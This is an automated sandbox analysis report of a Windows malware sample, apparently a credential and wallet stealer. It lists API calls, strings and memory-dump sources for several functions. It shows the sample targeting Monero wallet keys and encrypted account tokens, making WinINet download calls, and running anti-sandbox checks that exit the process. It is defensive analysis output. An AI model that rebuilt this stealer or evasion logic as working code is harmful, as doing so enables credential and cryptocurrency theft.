Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

lstrlen.KERNEL32(00000000), ref: 005EBC9F

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 005EBCCD
lstrlen.KERNEL32(00000000), ref: 005EBDA5
lstrlen.KERNEL32(00000000), ref: 005EBDB9

Strings

AccountTokens, xrefs: 005EBABA
AccountTokens, xrefs: 005EBB49
AccountId, xrefs: 005EBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 005EBBEB

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 3fad3832e3d4bab12241e3b4b5ae15dccac7a5f0b819e9ba5d602a5742f33cc7
Instruction ID: a9df70112269354acd92730e87cecb7b15b4a4c7c8488ae48ca1767421afc4c1
Opcode Fuzzy Hash: 3fad3832e3d4bab12241e3b4b5ae15dccac7a5f0b819e9ba5d602a5742f33cc7
Instruction Fuzzy Hash: 26B154B19101099BDB18EBA0CD5ADFE7B39BF94340F404128F60A67095EF786A49CB63

Function 005E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 005E4FD1
InternetOpenA.WININET(00600DDF,00000000,00000000,00000000,00000000), ref: 005E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 005E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 005E5041
InternetCloseHandle.WININET(?), ref: 005E50B9
InternetCloseHandle.WININET(?), ref: 005E50C6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: df2f3d06957a4ca0d0f74890bc87deaf83b1fbfef8a9e74588daf881a0e67092
Instruction ID: 7780a24e09a6f33ae2a74ff0159220e93996e86364814cdb528693b56107032b
Opcode Fuzzy Hash: df2f3d06957a4ca0d0f74890bc87deaf83b1fbfef8a9e74588daf881a0e67092
Instruction Fuzzy Hash: 2C3107B4A00218ABDB24CF54DC89BDDB7B5FB48704F5081E9FB09A7281D7706A858F99

Function 005F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005F8426
wsprintfA.USER32 ref: 005F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005F847B
RegCloseKey.ADVAPI32(00000000), ref: 005F848C
RegCloseKey.ADVAPI32(00000000), ref: 005F8499

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

RegQueryValueExA.KERNEL32(00000000,0164D998,00000000,000F003F,?,00000400), ref: 005F84EC
lstrlen.KERNEL32(?), ref: 005F8501
RegQueryValueExA.KERNEL32(00000000,0164D8D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00600B34), ref: 005F8599
RegCloseKey.KERNEL32(00000000), ref: 005F8608
RegCloseKey.ADVAPI32(00000000), ref: 005F861A

Strings

%s\%s, xrefs: 005F844D

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 4a288b9e1a913d59a34d056ef86759b4ff15620108eb86dda8fba0f61b075f80
Instruction ID: 0e4c49dad18a73cd83a711c6ed9e975cf5e69a62d390621ca60c48af576b3122
Opcode Fuzzy Hash: 4a288b9e1a913d59a34d056ef86759b4ff15620108eb86dda8fba0f61b075f80
Instruction Fuzzy Hash: 8D21E7B191021CABDB28DB54DC85FE9B7B8FF48700F00C599A609A6180DF75AA86CFD5

Function 005F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 005F76AB
RegOpenKeyExA.KERNEL32(80000002,0163B9D8,00000000,00020119,00000000), ref: 005F76DD
RegQueryValueExA.KERNEL32(00000000,0164D9C8,00000000,00000000,?,000000FF), ref: 005F76FE
RegCloseKey.ADVAPI32(00000000), ref: 005F7708

Strings

Windows 11, xrefs: 005F76BD

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 969013bb77e1396e9a8b588f4c46766296fe8130879c7ecd933d614eb0b79731
Instruction ID: 3fd916375b8d20603d9b23dcf95d532d050f79efd8eea9f719653b14f037e233
Opcode Fuzzy Hash: 969013bb77e1396e9a8b588f4c46766296fe8130879c7ecd933d614eb0b79731
Instruction Fuzzy Hash: DB012CB5A44209BBE714EBA4DC49F7ABBB8FF48701F108454FB05A7290D67499018B51

Function 005F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7734
RtlAllocateHeap.NTDLL(00000000), ref: 005F773B
RegOpenKeyExA.KERNEL32(80000002,0163B9D8,00000000,00020119,005F76B9), ref: 005F775B
RegQueryValueExA.KERNEL32(005F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 005F777A
RegCloseKey.ADVAPI32(005F76B9), ref: 005F7784

Strings

CurrentBuildNumber, xrefs: 005F7771

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ef0e4529f467f6c4df7bbe94e03b4b1c3d307ce0c48735f0912efcbca75bf027
Instruction ID: 9bd85ae7bef5be62aea305b5af33dcd80daba24dd378b1cec776fe07145d58b1
Opcode Fuzzy Hash: ef0e4529f467f6c4df7bbe94e03b4b1c3d307ce0c48735f0912efcbca75bf027
Instruction Fuzzy Hash: F4014FB5A40309BFEB14DBE0DC4AFBEB7B8FF48701F108559FA05A7281DA746A018B51

Function 005F69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640768), ref: 005F98A1
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640720), ref: 005F98BA
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640618), ref: 005F98D2
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640738), ref: 005F98EA
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640750), ref: 005F9903
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01648890), ref: 005F991B
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,016368C0), ref: 005F9933
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,016367E0), ref: 005F994C
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640780), ref: 005F9964
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640798), ref: 005F997C
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,016407C8), ref: 005F9995
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640828), ref: 005F99AD
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,016369C0), ref: 005F99C5
Part of subcall function 005F9860: GetProcAddress.KERNEL32(75900000,01640588), ref: 005F99DE

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005E11D0: ExitProcess.KERNEL32 ref: 005E1211

Part of subcall function 005E1160: GetSystemInfo.KERNEL32(?), ref: 005E116A
Part of subcall function 005E1160: ExitProcess.KERNEL32 ref: 005E117E

Part of subcall function 005E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005E112B
Part of subcall function 005E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 005E1132
Part of subcall function 005E1110: ExitProcess.KERNEL32 ref: 005E1143

Part of subcall function 005E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005E123E
Part of subcall function 005E1220: __aulldiv.LIBCMT ref: 005E1258
Part of subcall function 005E1220: __aulldiv.LIBCMT ref: 005E1266
Part of subcall function 005E1220: ExitProcess.KERNEL32 ref: 005E1294

Part of subcall function 005F6770: GetUserDefaultLangID.KERNEL32 ref: 005F6774

Part of subcall function 005E1190: ExitProcess.KERNEL32 ref: 005E11C6

Part of subcall function 005F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
Part of subcall function 005F7850: RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
Part of subcall function 005F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

Part of subcall function 005F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
Part of subcall function 005F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
Part of subcall function 005F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01648870,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F6AE8
CloseHandle.KERNEL32(00000000), ref: 005F6AF9
Sleep.KERNEL32(00001770), ref: 005F6B04
CloseHandle.KERNEL32(?,00000000,?,01648870,?,0060110C,?,00000000,?,00601110,?,00000000,00600AEF), ref: 005F6B1A
ExitProcess.KERNEL32 ref: 005F6B22

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: f8aeec727ea35323bc2438b55043311d348b2a591ae3f29e0c019392a75a85bc
Instruction ID: b2ac8746abec9c3a0b36b4b412a04d40ee02600b40f68ea85f37072edad41b27
Opcode Fuzzy Hash: f8aeec727ea35323bc2438b55043311d348b2a591ae3f29e0c019392a75a85bc
Instruction Fuzzy Hash: 8631EF7190010EABDB08F7A0DC5AABE7B78BF94380F104528F356A6191DFB85505C6A7

Function 005E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
LocalFree.KERNEL32(005E148F), ref: 005E9A90
CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
